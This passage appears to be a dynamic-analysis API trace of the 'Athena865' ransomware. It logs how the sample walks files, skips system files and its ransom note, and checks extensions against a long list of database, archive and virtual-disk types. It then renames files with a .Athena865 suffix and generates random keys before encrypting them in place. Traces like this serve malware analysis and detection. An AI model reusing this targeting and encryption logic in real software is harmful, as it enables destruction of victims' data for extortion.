lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1 [0048.600] lstrlenW (lpString="spq") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1 [0048.600] lstrlenW (lpString="te") returned 2 [0048.600] lstrcmpiW (lpString1="xn", lpString2="te") returned 1 [0048.600] lstrlenW (lpString="teacher") returned 7 [0048.600] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1 [0048.600] lstrlenW (lpString="tmd") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1 [0048.600] lstrlenW (lpString="tps") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1 [0048.600] lstrlenW (lpString="trc") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1 [0048.600] lstrlenW (lpString="trc") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1 [0048.600] lstrlenW (lpString="trm") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1 [0048.600] lstrlenW (lpString="udb") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1 [0048.600] lstrlenW (lpString="udl") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1 [0048.601] lstrlenW (lpString="usr") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1 [0048.601] lstrlenW (lpString="v12") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1 [0048.601] lstrlenW (lpString="vis") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1 [0048.601] lstrlenW (lpString="vpd") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1 [0048.601] lstrlenW (lpString="vvv") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1 [0048.601] lstrlenW (lpString="wdb") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1 [0048.601] lstrlenW (lpString="wmdb") returned 4 [0048.601] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1 [0048.601] lstrlenW (lpString="wrk") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1 [0048.601] lstrlenW (lpString="xdb") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1 [0048.601] lstrlenW (lpString="xld") returned 3 [0048.601] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1 [0048.601] lstrlenW (lpString="xmlff") returned 5 [0048.601] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1 [0048.601] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.Athena865") returned 64 [0048.601] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.602] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.602] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=350) returned 1 [0048.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.602] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.603] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.603] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.603] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.608] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.608] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.609] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.609] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.610] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.610] CloseHandle (hObject=0x154) returned 1 [0048.610] CloseHandle (hObject=0x17c) returned 1 [0048.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.610] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0048.610] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.610] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.610] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".") returned 1 [0048.610] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="..") returned 1 [0048.610] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="windows") returned -1 [0048.610] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.610] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="temp") returned -1 [0048.610] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.611] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="boot") returned 1 [0048.611] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.611] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.611] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="perflogs") returned -1 [0048.611] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.611] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20 [0048.611] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.GRAPH.14.1033.hxn" | out: lpString1="MS.GRAPH.14.1033.hxn") returned="MS.GRAPH.14.1033.hxn" [0048.611] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20 [0048.611] lstrlenW (lpString="Athena865") returned 9 [0048.611] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.611] lstrlenW (lpString=".dll") returned 4 [0048.611] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".dll") returned 1 [0048.611] lstrlenW (lpString=".lnk") returned 4 [0048.611] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".lnk") returned 1 [0048.611] lstrlenW (lpString=".ini") returned 4 [0048.611] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".ini") returned 1 [0048.611] lstrlenW (lpString=".sys") returned 4 [0048.611] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".sys") returned 1 [0048.611] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20 [0048.611] lstrlenW (lpString="bak") returned 3 [0048.611] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1 [0048.611] lstrlenW (lpString="ba_") returned 3 [0048.611] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1 [0048.611] lstrlenW (lpString="dbb") returned 3 [0048.611] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1 [0048.611] lstrlenW (lpString="vmdk") returned 4 [0048.611] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1 [0048.611] lstrlenW (lpString="rar") returned 3 [0048.611] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1 [0048.611] lstrlenW (lpString="zip") returned 3 [0048.611] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1 [0048.611] lstrlenW (lpString="tgz") returned 3 [0048.611] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1 [0048.611] lstrlenW (lpString="vbox") returned 4 [0048.612] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1 [0048.612] lstrlenW (lpString="vdi") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1 [0048.612] lstrlenW (lpString="vhd") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1 [0048.612] lstrlenW (lpString="vhdx") returned 4 [0048.612] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1 [0048.612] lstrlenW (lpString="avhd") returned 4 [0048.612] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1 [0048.612] lstrlenW (lpString="db") returned 2 [0048.612] lstrcmpiW (lpString1="xn", lpString2="db") returned 1 [0048.612] lstrlenW (lpString="db2") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1 [0048.612] lstrlenW (lpString="db3") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1 [0048.612] lstrlenW (lpString="dbf") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1 [0048.612] lstrlenW (lpString="mdf") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1 [0048.612] lstrlenW (lpString="mdb") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1 [0048.612] lstrlenW (lpString="sql") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1 [0048.612] lstrlenW (lpString="sqlite") returned 6 [0048.612] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1 [0048.612] lstrlenW (lpString="sqlite3") returned 7 [0048.612] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1 [0048.612] lstrlenW (lpString="sqlitedb") returned 8 [0048.612] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1 [0048.612] lstrlenW (lpString="xml") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1 [0048.612] lstrlenW (lpString="$er") returned 3 [0048.612] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1 [0048.613] lstrlenW (lpString="4dd") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1 [0048.613] lstrlenW (lpString="4dl") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1 [0048.613] lstrlenW (lpString="^^^") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1 [0048.613] lstrlenW (lpString="abs") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1 [0048.613] lstrlenW (lpString="abx") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1 [0048.613] lstrlenW (lpString="accdb") returned 5 [0048.613] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1 [0048.613] lstrlenW (lpString="accdc") returned 5 [0048.613] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1 [0048.613] lstrlenW (lpString="accde") returned 5 [0048.613] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1 [0048.613] lstrlenW (lpString="accdr") returned 5 [0048.613] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1 [0048.613] lstrlenW (lpString="accdt") returned 5 [0048.613] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1 [0048.613] lstrlenW (lpString="accdw") returned 5 [0048.613] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1 [0048.613] lstrlenW (lpString="accft") returned 5 [0048.613] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1 [0048.613] lstrlenW (lpString="adb") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1 [0048.613] lstrlenW (lpString="adb") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1 [0048.613] lstrlenW (lpString="ade") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1 [0048.613] lstrlenW (lpString="adf") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1 [0048.613] lstrlenW (lpString="adn") returned 3 [0048.613] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1 [0048.613] lstrlenW (lpString="adp") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1 [0048.614] lstrlenW (lpString="alf") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1 [0048.614] lstrlenW (lpString="ask") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1 [0048.614] lstrlenW (lpString="btr") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1 [0048.614] lstrlenW (lpString="cat") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1 [0048.614] lstrlenW (lpString="cdb") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1 [0048.614] lstrlenW (lpString="ckp") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1 [0048.614] lstrlenW (lpString="cma") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1 [0048.614] lstrlenW (lpString="cpd") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1 [0048.614] lstrlenW (lpString="dacpac") returned 6 [0048.614] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1 [0048.614] lstrlenW (lpString="dad") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1 [0048.614] lstrlenW (lpString="dadiagrams") returned 10 [0048.614] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1 [0048.614] lstrlenW (lpString="daschema") returned 8 [0048.614] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1 [0048.614] lstrlenW (lpString="db-journal") returned 10 [0048.614] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1 [0048.614] lstrlenW (lpString="db-shm") returned 6 [0048.614] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1 [0048.614] lstrlenW (lpString="db-wal") returned 6 [0048.614] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1 [0048.614] lstrlenW (lpString="dbc") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1 [0048.614] lstrlenW (lpString="dbs") returned 3 [0048.614] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1 [0048.615] lstrlenW (lpString="dbt") returned 3 [0048.615] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1 [0048.615] lstrlenW (lpString="dbv") returned 3 [0048.615] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1 [0048.615] lstrlenW (lpString="dbx") returned 3 [0048.615] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1 [0048.615] lstrlenW (lpString="dcb") returned 3 [0048.615] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1 [0048.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.Athena865") returned 60 [0048.615] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.616] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.616] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=326) returned 1 [0048.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.616] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.617] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.617] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.617] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x154 [0048.619] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000 [0048.620] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.620] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.621] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.621] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.621] CloseHandle (hObject=0x154) returned 1 [0048.621] CloseHandle (hObject=0x17c) returned 1 [0048.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.622] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".") returned 1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="..") returned 1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="windows") returned -1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="temp") returned -1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="boot") returned 1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="perflogs") returned -1 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.622] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21 [0048.622] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.GROOVE.14.1033.hxn" | out: lpString1="MS.GROOVE.14.1033.hxn") returned="MS.GROOVE.14.1033.hxn" [0048.622] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21 [0048.622] lstrlenW (lpString="Athena865") returned 9 [0048.622] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.622] lstrlenW (lpString=".dll") returned 4 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".dll") returned 1 [0048.622] lstrlenW (lpString=".lnk") returned 4 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".lnk") returned 1 [0048.622] lstrlenW (lpString=".ini") returned 4 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".ini") returned 1 [0048.622] lstrlenW (lpString=".sys") returned 4 [0048.622] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".sys") returned 1 [0048.623] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21 [0048.623] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn.Athena865") returned 61 [0048.623] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.623] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.623] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=332) returned 1 [0048.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.624] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.624] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.624] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.625] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x154 [0048.627] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000 [0048.628] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.628] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.628] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 